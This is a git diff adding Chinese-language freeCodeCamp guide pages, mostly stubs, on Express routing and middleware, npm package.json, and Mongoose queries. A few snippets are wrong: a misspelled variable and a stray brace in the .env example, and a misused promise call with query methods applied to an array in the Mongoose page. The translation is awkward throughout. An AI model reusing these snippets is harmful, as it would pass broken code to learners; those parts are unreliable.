diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/implement-a-root-level-request-logger-middleware/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/implement-a-root-level-request-logger-middleware/index.md
new file mode 100644
index 0000000000..33d504d9b3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/implement-a-root-level-request-logger-middleware/index.md
@@ -0,0 +1,25 @@
+---
+title: Implement a Root-Level Request Logger Middleware
+localeTitle: 实现根级请求记录器中间件
+---
+## 实现根级请求记录器中间件
+
+在顶部编写这个挑战更容易（已经存在一个存根）。这是因为中间件必须放置您希望它用于的函数调用。
+
+要设置自己的中间件，您可以这样做：
+
+```javascript
+app.use(function middleware(req, res, next) { 
+  // Do something 
+  // Call the next function in line: 
+  next(); 
+ }); 
+```
+
+如果您无法正确格式化字符串，一种方法是：
+
+```javascript
+  var string = req.method + ' ' + req.path + ' - ' + req.ip; 
+```
+
+[帮助我们的社区扩展这些提示和指南](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/implement-a-root-level-request-logger-middleware/index.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/index.md
new file mode 100644
index 0000000000..be04f4cd1b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic Node and Express
+localeTitle: 基本节点和快递
+---
+## 基本节点和快递
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/meet-the-node-console/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/meet-the-node-console/index.md
new file mode 100644
index 0000000000..60fbe215f9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/meet-the-node-console/index.md
@@ -0,0 +1,18 @@
+---
+title: Meet the Node console
+localeTitle: 认识节点控制台
+---
+## 认识节点控制台
+
+确保您克隆了正确的存储库/故障项目，并在myapp.js中编写代码。
+
+节点控制台提供了许多方法。您可以使用Node.js文档找到这些方法的列表 [在这里](https://nodejs.org/dist/latest-v10.x/docs/api/console.html) 。常见的用途是记录错误，例如：
+
+```javascript
+    console.log("An error happened"); 
+```
+
+### 如果你使用Glitch
+
+*   Glitch已将“日志”按钮更改为“状态”按钮，仍然位于应用名称下方的左上方
+*   不要直接提交“编辑”页面。点击“显示”按钮（在顶部）并提交应用程序显示页面的网址（网址格式类似于https://appname.glitch.me/）
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/serve-an-html-file/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/serve-an-html-file/index.md
new file mode 100644
index 0000000000..ebb1fcbe8a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/serve-an-html-file/index.md
@@ -0,0 +1,19 @@
+---
+title: Serve an HTML File
+localeTitle: 提供HTML文件
+---
+## 提供HTML文件
+
+你可能需要评论最后的挑战。如果您有一个网站并想要提供index.html文件，您可能希望将其放在公共文件夹中。这是为了确保公众看不到你不想要的东西，它有时被称为“公共”或“观点”，但你可以从技术上称之为你想要的任何东西。
+
+要在根域中名为“public”的文件夹中提供index.html，您可以这样做：
+
+```javascript
+  app.get("/", function(req, res) { 
+        res.sendFile( __dirname + "/public/index.html"); 
+  }); 
+```
+
+注意：\_\_dirname返回根目录是节点开发人员的最佳实践。
+
+[帮助我们的社区扩展这些提示和指南](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/serve-an-html-file/index.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/serve-json-on-a-specific-route/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/serve-json-on-a-specific-route/index.md
new file mode 100644
index 0000000000..12ac1ef466
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/serve-json-on-a-specific-route/index.md
@@ -0,0 +1,15 @@
+---
+title: Serve JSON on a Specific Route
+localeTitle: 在特定路线上提供JSON
+---
+## 在特定路线上提供JSON
+
+使用节点（在'/ json'路径）提供json对象相当简单，如果我们想要传递消息并给它值“Hello World”，我们可以这样做：
+
+```javascript
+  app.get("/json", function(req, res) { 
+        res.json({"message": "Hello World"}); 
+  }); 
+```
+
+[帮助我们的社区扩展这些提示和指南](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/serve-json-on-a-specific-route/index.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/serve-static-assets/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/serve-static-assets/index.md
new file mode 100644
index 0000000000..108a27d6da
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/serve-static-assets/index.md
@@ -0,0 +1,17 @@
+---
+title: Serve Static Assets
+localeTitle: 服务静态资产
+---
+## 服务静态资产
+
+静态网页使用express非常简单。这对于构建自己的投资组合网站或博客等非常有用。
+
+要从“views”文件夹提供静态网页，您可以使用以下代码：
+
+```javascript
+ const express = require("express"); 
+ const app = express(); 
+ app.use(express.static(__dirname + "/views")); 
+```
+
+[帮助我们的社区扩展这些提示和指南](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/meet-the-node-console/index.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/start-a-working-express-server/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/start-a-working-express-server/index.md
new file mode 100644
index 0000000000..b137d1cdfa
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/start-a-working-express-server/index.md
@@ -0,0 +1,23 @@
+---
+title: Start a Working Express Server
+localeTitle: 启动Working Express服务器
+---
+## 启动Working Express服务器
+
+如果您在“example.com/”上有一个网站，并希望向访问根域的任何人提供诸如“Hello World”之类的字符串，您可以使用node和/或express轻松地执行此操作：
+
+```javascript
+app.get("/", function(req, res) { 
+  res.send("Hello World"); 
+ }); 
+```
+
+此外，使用ES6 +，您可以使用“=>”而不是“function”来保存一些输入，如下所示：
+
+```javascript
+app.get("/", (req, res) => { 
+  res.send("Hello World"); 
+ }); 
+```
+
+[帮助我们的社区扩展这些提示和指南](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/start-a-working-express-server/index.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/use-body-parser-to-parse-post-requests/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/use-body-parser-to-parse-post-requests/index.md
new file mode 100644
index 0000000000..788561796e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/use-body-parser-to-parse-post-requests/index.md
@@ -0,0 +1,17 @@
+---
+title: Use body-parser to Parse POST Requests
+localeTitle: 使用body-parser来解析POST请求
+---
+## 使用body-parser来解析POST请求
+
+如果您使用提供的样板，则应该已经将身体解析器添加到您的项目中，但如果不是，它应该在那里：
+
+```code
+"dependencies": { 
+    "body-parser": "^1.4.3", 
+    ... 
+```
+
+你需要做的就是将中间件传递给app.use（）。确保它在需要使用的路径之前。
+
+[帮助我们的社区扩展这些提示和指南](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/use-body-parser-to-parse-post-requests/index.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/use-the-.env-file/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/use-the-.env-file/index.md
new file mode 100644
index 0000000000..3ae0f4ed23
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/basic-node-and-express/use-the-.env-file/index.md
@@ -0,0 +1,24 @@
+---
+title: Use the .env File
+localeTitle: 使用.env文件
+---
+## 使用.env文件
+
+我们可以使用.toUpperCase（）方法使字符串全部大写，例如：
+
+```javascript
+  var response = "Hello World".toUpperCase(); // now becomes "HELLO WORLD" 
+```
+
+我们现在需要做的就是检查环境变量的值是什么，你可以这样做：
+
+```javascript
+   if (process.env.VAR_NAME === "allCaps") { 
+    resonse = "Hello World".toUpperCase(); 
+   } else { 
+    response = "Hello World"; 
+   } 
+  }); 
+```
+
+[帮助我们的社区扩展这些提示和指南](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/basic-node-and-express/use-the-.env-file/index.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/index.md
new file mode 100644
index 0000000000..a2b0ad0eec
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/index.md
@@ -0,0 +1,11 @@
+---
+title: APIs and Microservices
+localeTitle: API和微服务
+---
+## API和微服务
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/add-a-description-to-your-package.json/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/add-a-description-to-your-package.json/index.md
new file mode 100644
index 0000000000..1da4c2f0a1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/add-a-description-to-your-package.json/index.md
@@ -0,0 +1,15 @@
+---
+title: Add a Description to Your package.json
+localeTitle: 在package.json中添加一个描述
+---
+## 在package.json中添加一个描述
+
+要完成挑战，请按以下步骤操作：
+
+*   转到课程statring介绍页面中给出的链接。 ![freecodecamp apis-and-microservices介绍](https://user-images.githubusercontent.com/15084301/45616545-65732480-ba8d-11e8-9893-412ff6c68be5.png) [Glitch启动项目链接](https://glitch.com/#!/import/github/freeCodeCamp/boilerplate-npm)
+    
+*   编辑package.json文件并更新作者
+    
+*   然后单击Glitch项目顶部的show（您的应用程序）链接以获取公共链接 ![小故障公共项目链接](https://user-images.githubusercontent.com/15084301/45616579-8176c600-ba8d-11e8-8a46-4ac930578e74.png)
+    
+*   提交解决方案中的链接就是这样。 ![成功页面](https://user-images.githubusercontent.com/15084301/45616757-019d2b80-ba8e-11e8-8b5b-98dc6d02c235.png)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/add-a-license-to-your-package.json/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/add-a-license-to-your-package.json/index.md
new file mode 100644
index 0000000000..dbbba2bfc9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/add-a-license-to-your-package.json/index.md
@@ -0,0 +1,9 @@
+---
+title: Add a License to Your package.json
+localeTitle: 向package.json添加许可证
+---
+## 向package.json添加许可证
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/add-a-license-to-your-package.json/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/add-a-version-to-your-package.json/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/add-a-version-to-your-package.json/index.md
new file mode 100644
index 0000000000..d6dbb98a80
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/add-a-version-to-your-package.json/index.md
@@ -0,0 +1,9 @@
+---
+title: Add a Version to Your package.json
+localeTitle: 在package.json中添加一个版本
+---
+## 在package.json中添加一个版本
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/add-a-version-to-your-package.json/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/add-keywords-to-your-package.json/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/add-keywords-to-your-package.json/index.md
new file mode 100644
index 0000000000..bd6f158749
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/add-keywords-to-your-package.json/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Keywords to Your package.json
+localeTitle: 将关键字添加到package.json
+---
+## 将关键字添加到package.json
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/add-keywords-to-your-package.json/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/expand-your-project-with-external-packages-from-npm/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/expand-your-project-with-external-packages-from-npm/index.md
new file mode 100644
index 0000000000..88fa2c1ca6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/expand-your-project-with-external-packages-from-npm/index.md
@@ -0,0 +1,9 @@
+---
+title: Expand Your Project with External Packages from npm
+localeTitle: 从npm扩展您的项目与外部包
+---
+## 从npm扩展您的项目与外部包
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/expand-your-project-with-external-packages-from-npm/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/how-to-use-package-json-the-core-of-any-node-js-project-or-npm-package/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/how-to-use-package-json-the-core-of-any-node-js-project-or-npm-package/index.md
new file mode 100644
index 0000000000..5c838d1d13
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/how-to-use-package-json-the-core-of-any-node-js-project-or-npm-package/index.md
@@ -0,0 +1,9 @@
+---
+title: How to Use package.json, the Core of Any Node.js Project or npm Package
+localeTitle: 如何使用package.json，任何Node.js项目的核心或npm包
+---
+## 如何使用package.json，任何Node.js项目的核心或npm包
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/how-to-use-package.json-the-core-of-any-node.js-project-or-npm-package/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/index.md
new file mode 100644
index 0000000000..25b6931640
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/index.md
@@ -0,0 +1,11 @@
+---
+title: Managing Packages with NPM
+localeTitle: 使用NPM管理包
+---
+## 使用NPM管理包
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/manage-npm-dependencies-by-understanding-semantic-versioning/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/manage-npm-dependencies-by-understanding-semantic-versioning/index.md
new file mode 100644
index 0000000000..bb01597a00
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/manage-npm-dependencies-by-understanding-semantic-versioning/index.md
@@ -0,0 +1,9 @@
+---
+title: Manage npm Dependencies By Understanding Semantic Versioning
+localeTitle: 通过了解语义版本控制来管理npm依赖关系
+---
+## 通过了解语义版本控制来管理npm依赖关系
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/manage-npm-dependencies-by-understanding-semantic-versioning/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/remove-a-package-from-your-dependencies/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/remove-a-package-from-your-dependencies/index.md
new file mode 100644
index 0000000000..eef732544b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/remove-a-package-from-your-dependencies/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove a Package from Your Dependencies
+localeTitle: 从您的依赖项中删除一个包
+---
+## 从您的依赖项中删除一个包
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/remove-a-package-from-your-dependencies/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/use-the-caret-character-to-use-the-latest-minor-version-of-a-dependency/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/use-the-caret-character-to-use-the-latest-minor-version-of-a-dependency/index.md
new file mode 100644
index 0000000000..e7e703229b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/use-the-caret-character-to-use-the-latest-minor-version-of-a-dependency/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Caret-Character to Use the Latest Minor Version of a Dependency
+localeTitle: 使用Caret-Character来使用最新的次要版本的依赖项
+---
+## 使用Caret-Character来使用最新的次要版本的依赖项
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/use-the-caret-character-to-use-the-latest-minor-version-of-a-dependency/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/use-the-tilde-character-to-always-use-the-latest-patch-version-of-a-dependency/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/use-the-tilde-character-to-always-use-the-latest-patch-version-of-a-dependency/index.md
new file mode 100644
index 0000000000..031389ef19
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/managing-packages-with-npm/use-the-tilde-character-to-always-use-the-latest-patch-version-of-a-dependency/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Tilde-Character to Always Use the Latest Patch Version of a Dependency
+localeTitle: 使用Tilde-Character始终使用依赖项的最新补丁版本
+---
+## 使用Tilde-Character始终使用依赖项的最新补丁版本
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/managing-packages-with-npm/use-the-tilde-character-to-always-use-the-latest-patch-version-of-a-dependency/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/chain-search-query-helpers-to-narrow-search-results/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/chain-search-query-helpers-to-narrow-search-results/index.md
new file mode 100644
index 0000000000..c043bbf7da
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/chain-search-query-helpers-to-narrow-search-results/index.md
@@ -0,0 +1,67 @@
+---
+title: Chain Search Query Helpers to Narrow Search Results
+localeTitle: 链搜索查询帮助缩小搜索结果
+---
+## 链搜索查询帮助缩小搜索结果
+
+1.  创建但不执行查找查询
+
+```javascript
+Model.find( {name: 'Leah'} ) 
+```
+
+2.  将查询查询存储到变量中以供以后使用：
+
+```javascript
+var findQuery = YourModel.find( {name: 'Leah'} ) 
+```
+
+3.  要对数组进行排序：
+
+```javascript
+yourArray.sort( {age: 1} )  // Here: 1 for ascending    order and -1 for descending order. 
+```
+
+4.  要限制数组的大小：
+
+```javascript
+yourArray.limit(5)  // return array which has 5 items in it. 
+```
+
+5.  要从结果中隐藏某些属性：
+
+```javascript
+yourArray.select( {name: 0, age: 1} ) // Here: 0 means false and thus hide name property; 1 means true so age property will show. 
+```
+
+6.  要执行此查询，您可以：  
+    1）回调：
+
+```javascript
+YourQuery.exec(function(err, docs) { 
+    //do something here 
+ }) 
+```
+
+或者2）承诺
+
+```javascript
+YourQuery.exec.then(function(err, docs) { 
+    //do something here 
+ }) 
+```
+
+7.  将它们连在一起：
+
+```javascript
+Person.find({age: 55}).sort({name: -1}).limit(5).select( {favoriteFoods: 0} ).exec(function(error, people) { 
+  //do something here 
+ }) 
+```
+
+  
+  
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/chain-search-query-helpers-to-narrow-search-results/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/create-a-model/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/create-a-model/index.md
new file mode 100644
index 0000000000..99b705b139
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/create-a-model/index.md
@@ -0,0 +1,9 @@
+---
+title: Create a Model
+localeTitle: 创建一个模型
+---
+## 创建一个模型
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/create-a-model/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/create-and-save-a-record-of-a-model/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/create-and-save-a-record-of-a-model/index.md
new file mode 100644
index 0000000000..534dade00e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/create-and-save-a-record-of-a-model/index.md
@@ -0,0 +1,9 @@
+---
+title: Create and Save a Record of a Model
+localeTitle: 创建并保存模型记录
+---
+## 创建并保存模型记录
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/create-and-save-a-record-of-a-model/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/create-many-records-with-model.create/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/create-many-records-with-model.create/index.md
new file mode 100644
index 0000000000..38497c718c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/create-many-records-with-model.create/index.md
@@ -0,0 +1,9 @@
+---
+title: Create Many Records with model.create()
+localeTitle: 使用model.create（）创建许多记录
+---
+## 使用model.create（）创建许多记录
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/create-many-records-with-model.create/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/delete-many-documents-with-model.remove/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/delete-many-documents-with-model.remove/index.md
new file mode 100644
index 0000000000..656ea293da
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/delete-many-documents-with-model.remove/index.md
@@ -0,0 +1,9 @@
+---
+title: Delete Many Documents with model.remove()
+localeTitle: 使用model.remove（）删除多个文档
+---
+## 使用model.remove（）删除多个文档
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/delete-many-documents-with-model.remove/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/delete-one-document-using-model.findbyidandremove/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/delete-one-document-using-model.findbyidandremove/index.md
new file mode 100644
index 0000000000..cacac8985f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/delete-one-document-using-model.findbyidandremove/index.md
@@ -0,0 +1,9 @@
+---
+title: Delete One Document Using model.findByIdAndRemove
+localeTitle: 使用model.findByIdAndRemove删除一个文档
+---
+## 使用model.findByIdAndRemove删除一个文档
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/delete-one-document-using-model.findbyidandremove/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/index.md
new file mode 100644
index 0000000000..983edf00c2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/index.md
@@ -0,0 +1,11 @@
+---
+title: MongoDB and Mongoose
+localeTitle: MongoDB和Mongoose
+---
+## MongoDB和Mongoose
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/install-and-set-up-mongoose/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/install-and-set-up-mongoose/index.md
new file mode 100644
index 0000000000..7767ef7696
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/install-and-set-up-mongoose/index.md
@@ -0,0 +1,11 @@
+---
+title: Install and Set Up Mongoose
+localeTitle: 安装和设置Mongoose
+---
+## 安装和设置Mongoose
+
+您可能希望检查[MongoDB](https://www.npmjs.com/package/mongodb)和[Mongoose](https://www.npmjs.com/package/mongoose) NPM存储库以启动并运行。
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/install-and-set-up-mongoose/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/perform-classic-updates-by-running-find-edit-then-save/index.md b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/perform-classic-updates-by-running-find-edit-then-save/index.md
new file mode 100644
index 0000000000..faaeb19795
--- /dev/null
+++ b/client/src/guide/chinese/certifications/apis-and-microservices/mongodb-and-mongoose/perform-classic-updates-by-running-find-edit-then-save/index.md
@@ -0,0 +1,9 @@
+---
+title: Perform Classic Updates by Running Find, Edit, then Save
+localeTitle: 通过运行查找，编辑，然后保存来执行经典更新
+---
+## 通过运行查找，编辑，然后保存来执行经典更新
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/apis-and-microservices/mongodb-and-mongoose/perform-classic-updates-by-running-find-edit-then-save/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
